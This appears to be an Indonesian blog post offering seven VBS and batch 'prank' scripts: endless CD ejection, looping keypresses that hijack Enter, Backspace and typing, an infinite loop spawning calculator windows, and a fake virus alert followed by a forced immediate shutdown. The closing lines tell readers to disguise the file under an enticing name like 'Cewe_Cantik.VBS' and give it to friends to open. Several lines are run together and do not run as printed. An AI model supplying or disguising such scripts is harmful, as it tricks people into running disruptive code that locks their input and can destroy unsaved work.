1. Meng-eject Drive CD-Room Terus-Menerus

Code:
Set oWMP = CreateObject(“WMPlayer.OCX.7'')
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000loop

2. Tombol Enter Terus-terusan Aktif

Code:
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”loop

3. Iseng Dengan Pesan Lambat Notepad “Hello, how are you? I am good thanks!

Code:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

4. Iseng Dengan Backspace (Jika menekan tombol Bacspace akan keluar tulisan "Maaf anda harus mengulang kembali" atau bisa dibuat semau kita.)

Code:
MsgBox “Maaf, Anda Harus Mengulang Kembali”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

5. Iseng Dengan Membuka Calculator Terus Menerus

Code:
@ECHO off
:top
START %SystemRoot%\system32\cacl.exe
GOTO top

6. Iseng dengan Keyboard (tampil tulisan yang kita inginkan)

Code:
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki”loop

7. Iseng Dengan Shutdown Komputer

Code:
@echo off
msg * Komputer Anda Terinfeksi Virusshutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0
Semua trik di atas (No. 1 sampai 7 di simpan / save menggunakan.VBS (misalnya pake nama yang bikin penasaran, misalnya: Cewe_Cantik.VBS) dan save as type-nya pake all files, setelah itu berikan ke temen yang mau kita isengin....! Nah nti temen pasti penasaran dan buka notepad itu,